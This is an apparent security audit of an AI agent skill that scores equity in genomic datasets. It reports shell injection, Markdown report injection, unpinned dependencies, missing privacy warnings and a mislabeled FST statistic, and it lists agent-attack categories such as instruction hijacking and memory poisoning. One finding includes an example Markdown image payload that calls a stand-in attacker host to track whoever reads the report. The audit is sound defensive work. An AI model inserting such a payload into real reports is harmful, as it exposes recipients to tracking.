Security audit

Equity Scorer

Security checks for vulnerabilities and agentic risk

Overview

The skill appears intended for local genomics equity analysis, but it has review-worthy safety gaps around sensitive genomic outputs, report integrity, and generated shell commands.

Install only if you are comfortable running a local genomics analysis tool that writes persistent reports. Use it in a restricted workspace with non-sensitive or approved data, review generated markdown before sharing or executing any reproduced command, and treat the HEIM score and FST output as analytical aids rather than publication-ready conclusions without independent validation.

A.I.G

Vulnerability Patterns

Insecure DependenciesIntroduces malicious components through unsafe dependency sources
Insecure Skill Coding PracticesFinds exploitable flaws such as hardcoded secrets or command injection
Skill Instruction HijackingAlters the agent's session goals or safety constraints when the skill loads
Agent Memory PoisoningWrites attacker-controlled rules into memory that affect later sessions
Remote Payload Retrieval and ExecutionFetches external code whose behavior can change after review

Findings (3)

T09 · Insecure Skill Coding Practices

Warning

Location: equity_scorer.py:766
Finding: Shell Injection in Generated Reproducibility Command
Content: View full analysis
Remediation: View remediation

T09 · Insecure Skill Coding Practices

Note

Location: equity_scorer.py:653
Finding: Unescaped Input Values Permit Markdown and Report-Structure Injection
Content: View full analysis
0 else float("inf") o_het = obs_het.get(pop, 0) e_het = exp_het.get(pop, 0) pop_rows.append( "| %s | %d | %.1f%% | %.1f%% | %.2fx | %.4f | %.4f |" % (pop, count, pct, global_pct, ratio, o_het, e_het) ) pop_table = "\n".join(pop_rows) # FST summary fst_section = "" if fst_df is not None: fst_rows = [] pops = sorted(pop_counts.keys()) for i, j in combinations(range(len(pops)), 2): val = fst_df.iloc[i, j] fst_rows.append("| %s vs %s | %.4f |" % (pops[i], pops[j], val)) ``` ### Technical Analysis Population labels originate from ancestry CSV fields, population-map data, or inferred sample identifiers. These values are inserted directly into Markdown table cells without escaping Markdown control characters or removing line breaks. An attacker-controlled label can include: - `|` characters to create additional table columns - Newlines to inject arbitrary report sections - Markdown image syntax that causes a renderer to request remote content - Links that direct the recipient to attacker-controlled sites - Raw HTML, if the Markdown renderer permits it For example, a population value containing a newline followed by: ```markdown ![tracking](https://attacker.example/track?id=123) ``` could cause a permissive Markdown viewer to request an attacker-cont ...[truncated 1192 chars]
Remediation: View remediation

T08 · Insecure Dependencies

Note

Location: SKILL.md:16
Finding: Third-Party Installation Dependencies Are Not Version- or Integrity-Pinned
Content: View full analysis
Remediation: View remediation

SkillSpector

Vulnerability Patterns

MCP Least PrivilegeUnderdeclared Capability, Wildcard Permission, Missing Permission Declaration
MCP Tool PoisoningHidden Instructions, Unicode Deception, Parameter Description Injection
Prompt InjectionInstruction Override, Hidden Instructions, Exfiltration Commands
Data ExfiltrationExternal Transmission, Env Variable Harvesting, File System Enumeration
Privilege EscalationExcessive Permissions, Sudo/Root Execution, Credential Access

Findings (4)

Undeclared Tool Scope

Medium

Category: MCP Least Privilege
Confidence: 93% confidence
Finding: The skill describes generating reports, figures, tables, and reproducibility files, which implies filesystem write capability, but it does not declare any explicit tool scope such as permissions or allowed-tools. This creates a least-privilege gap: the runtime may grant broader write access than necessary, increasing the risk of unintended file modification or overwrite if the skill is misused or later extended unsafely.
Content: No source excerpt is available for this finding.

Natural-Language Policy Violations

Medium

Category: Not specified by scanner
Confidence: 88% confidence
Finding: The scoring system hard-codes a single set of 'global proportions' and uses it as a normative benchmark for representation and report narratives. In an equity-scoring tool, this can systematically bias results, mischaracterize datasets from specific regions or study designs, and create harmful or misleading fairness claims that users may interpret as objective security/compliance evidence.
Content: No source excerpt is available for this finding.

Missing User Warnings

Medium

Category: Not specified by scanner
Confidence: 93% confidence
Finding: The skill ingests genotype and ancestry data, computes population-level summaries, PCA coordinates, checksums, and writes persistent markdown/CSV/JSON outputs without any privacy notice, minimization controls, consent gating, or de-identification guidance. Even if sample IDs are not always printed directly, derived genomic and ancestry outputs can still be sensitive and may enable unintended disclosure or re-identification when shared or stored insecurely.
Content: No source excerpt is available for this finding.

Intent-Code Divergence

Medium

Category: Not specified by scanner
Confidence: 97% confidence
Finding: The report explicitly labels the metric as 'Hudson FST' while the implementation and comments describe a Nei/GST-style calculation. This is an integrity and scientific-misrepresentation issue: downstream users may make decisions or publish conclusions under a false assumption about the statistic used, which is especially sensitive in a genomics/equity context.
Content: No source excerpt is available for this finding.

Static analysis

No suspicious patterns detected.